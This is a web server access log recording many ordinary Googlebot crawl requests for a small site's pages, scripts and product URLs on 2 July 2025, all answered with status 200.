[02/Jul/2025:12:03:29 +0000] "GET /styles.css HTTP/1.1" 200 3071 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:29 +0000] "GET /about.html HTTP/1.1" 200 1826 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:29 +0000] "GET /products/2 HTTP/1.1" 200 1692 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:29 +0000] "GET /about.html HTTP/1.1" 200 3602 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /styles.css HTTP/1.1" 200 1188 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /main.js HTTP/1.1" 200 2566 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /styles.css HTTP/1.1" 200 2937 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /styles.css HTTP/1.1" 200 2002 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /main.js HTTP/1.1" 200 3852 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /products/1 HTTP/1.1" 200 1034 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 3930 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /main.js HTTP/1.1" 200 3091 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 1425 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /main.js HTTP/1.1" 200 2826 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /about.html HTTP/1.1" 200 4609 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 3968 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /main.js HTTP/1.1" 200 1534 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 4803 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /main.js HTTP/1.1" 200 1967 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /index.html HTTP/1.1" 200 1358 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /styles.css HTTP/1.1" 200 4471 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /about.html HTTP/1.1" 200 4551 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /products/1 HTTP/1.1" 200 1986 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 4277 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 1440 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /about.html HTTP/1.1" 200 4627 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /products/1 HTTP/1.1" 200 1459 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /main.js HTTP/1.1" 200 1350 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /styles.css HTTP/1.1" 200 3660 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /index.html HTTP/1.1" 200 1805 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /products/1 HTTP/1.1" 200 2093 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /products/2 HTTP/1.1" 200 2273 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /main.js HTTP/1.1" 200 2331 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /products/1 HTTP/1.1" 200 3048 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /about.html HTTP/1.1" 200 3015 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /products/2 HTTP/1.1" 200 3869 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /main.js HTTP/1.1" 200 1254 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 1225 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /products/1 HTTP/1.1" 200 4383 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 4343 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /products/1 HTTP/1.1" 200 2001 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /main.js HTTP/1.1" 200 3685 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /styles.css HTTP/1.1" 200 2801 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /styles.css HTTP/1.1" 200 3378 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /about.html HTTP/1.1" 200 3209 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /products/2 HTTP/1.1" 200 2844 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 4501 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /index.html HTTP/1.1" 200 3400 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /products/1 HTTP/1.1" 200 2015 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /index.html HTTP/1.1" 200 1218 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 3112 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /contact.html HTTP/1.1" 200 3783 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:30 +0000] "GET /index.html HTTP/1.1" 200 4353 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:30 +0000] "GET /styles.css HTTP/1.1" 200 2077 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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2118 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:31 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:31 +0000] "GET /products/1 HTTP/1.1" 200 3383 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:31 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:31 +0000] "GET /contact.html HTTP/1.1" 200 2374 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:31 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:31 +0000] "GET /styles.css HTTP/1.1" 200 4170 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:31 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:31 +0000] "GET /products/1 HTTP/1.1" 200 1757 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:31 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:31 +0000] "GET /products/2 HTTP/1.1" 200 1179 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:31 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:31 +0000] "GET /contact.html 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12:03:32 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:32 +0000] "GET /products/1 HTTP/1.1" 200 4362 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:32 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:32 +0000] "GET /index.html HTTP/1.1" 200 1821 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:32 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:32 +0000] "GET /products/2 HTTP/1.1" 200 1714 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:32 +0000] "GET /contact.html HTTP/1.1" 200 1589 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:32 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:32 +0000] "GET /about.html HTTP/1.1" 200 1710 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:32 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:32 +0000] "GET /styles.css HTTP/1.1" 200 4390 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:32 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:32 +0000] "GET /index.html HTTP/1.1" 200 1943 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:33 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:33 +0000] "GET /products/1 HTTP/1.1" 200 4321 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:33 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:33 +0000] "GET /index.html HTTP/1.1" 200 4289 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:33 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:33 +0000] "GET /index.html HTTP/1.1" 200 4131 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:33 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:33 +0000] "GET /products/2 HTTP/1.1" 200 1640 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:33 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:33 +0000] "GET /about.html HTTP/1.1" 200 4786 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:03:37 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:37 +0000] "GET /products/2 HTTP/1.1" 200 3294 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:37 +0000] "GET /products/2 HTTP/1.1" 200 2473 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:37 +0000] "GET /styles.css HTTP/1.1" 200 3973 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:37 +0000] "GET /products/1 HTTP/1.1" 200 4487 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:37 +0000] "GET /main.js HTTP/1.1" 200 3870 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:37 +0000] "GET /about.html HTTP/1.1" 200 4612 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:37 +0000] "GET /products/1 HTTP/1.1" 200 4732 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:37 +0000] "GET /contact.html HTTP/1.1" 200 3091 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:37 +0000] "GET /contact.html HTTP/1.1" 200 3929 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:37 +0000] "GET /contact.html HTTP/1.1" 200 4995 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:37 +0000] "GET /about.html HTTP/1.1" 200 1424 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:37 +0000] "GET /about.html HTTP/1.1" 200 3435 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:03:40 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:40 +0000] "GET /products/1 HTTP/1.1" 200 1766 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:41 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:41 +0000] "GET /contact.html HTTP/1.1" 200 2538 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:41 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:41 +0000] "GET /products/2 HTTP/1.1" 200 3356 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:41 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:41 +0000] "GET /styles.css HTTP/1.1" 200 2413 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:41 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:41 +0000] "GET /products/2 HTTP/1.1" 200 4056 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:41 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:41 +0000] "GET /products/2 HTTP/1.1" 200 2819 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:03:42 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:42 +0000] "GET /about.html HTTP/1.1" 200 4661 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:42 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:42 +0000] "GET /products/2 HTTP/1.1" 200 4845 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:42 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:42 +0000] "GET /styles.css HTTP/1.1" 200 2331 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:42 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:42 +0000] "GET /styles.css HTTP/1.1" 200 4478 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /products/1 HTTP/1.1" 200 4750 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /about.html HTTP/1.1" 200 2959 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /products/2 HTTP/1.1" 200 4720 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /products/2 HTTP/1.1" 200 2490 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /main.js HTTP/1.1" 200 3936 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /about.html HTTP/1.1" 200 3717 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /products/2 HTTP/1.1" 200 3037 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /contact.html HTTP/1.1" 200 2074 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /index.html HTTP/1.1" 200 2442 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /main.js HTTP/1.1" 200 1698 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /products/2 HTTP/1.1" 200 4918 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /products/2 HTTP/1.1" 200 1272 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /products/2 HTTP/1.1" 200 2765 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /about.html HTTP/1.1" 200 1281 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /main.js HTTP/1.1" 200 1901 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /products/1 HTTP/1.1" 200 4480 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /main.js HTTP/1.1" 200 2600 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /index.html HTTP/1.1" 200 4097 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /products/1 HTTP/1.1" 200 2280 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /about.html HTTP/1.1" 200 1801 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /main.js HTTP/1.1" 200 2887 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /main.js HTTP/1.1" 200 4611 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /main.js HTTP/1.1" 200 3008 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /products/1 HTTP/1.1" 200 4002 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /styles.css HTTP/1.1" 200 1151 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /main.js HTTP/1.1" 200 1106 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 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12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /index.html HTTP/1.1" 200 2182 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /main.js HTTP/1.1" 200 3746 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /contact.html HTTP/1.1" 200 1383 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:43 +0000] "GET /styles.css HTTP/1.1" 200 2482 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /products/1 HTTP/1.1" 200 2739 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:43 +0000] "GET /styles.css HTTP/1.1" 200 2724 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /styles.css HTTP/1.1" 200 1692 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /contact.html HTTP/1.1" 200 4679 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /products/2 HTTP/1.1" 200 2771 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /index.html HTTP/1.1" 200 1186 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /contact.html HTTP/1.1" 200 3849 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /main.js HTTP/1.1" 200 3181 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /contact.html HTTP/1.1" 200 1610 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 1826 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 1903 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /products/1 HTTP/1.1" 200 4735 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /main.js HTTP/1.1" 200 3742 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /index.html HTTP/1.1" 200 4436 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 4698 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /about.html HTTP/1.1" 200 2924 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 1089 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /contact.html HTTP/1.1" 200 4162 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /main.js HTTP/1.1" 200 3433 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /main.js HTTP/1.1" 200 3191 "-" "Googlebot/2.1 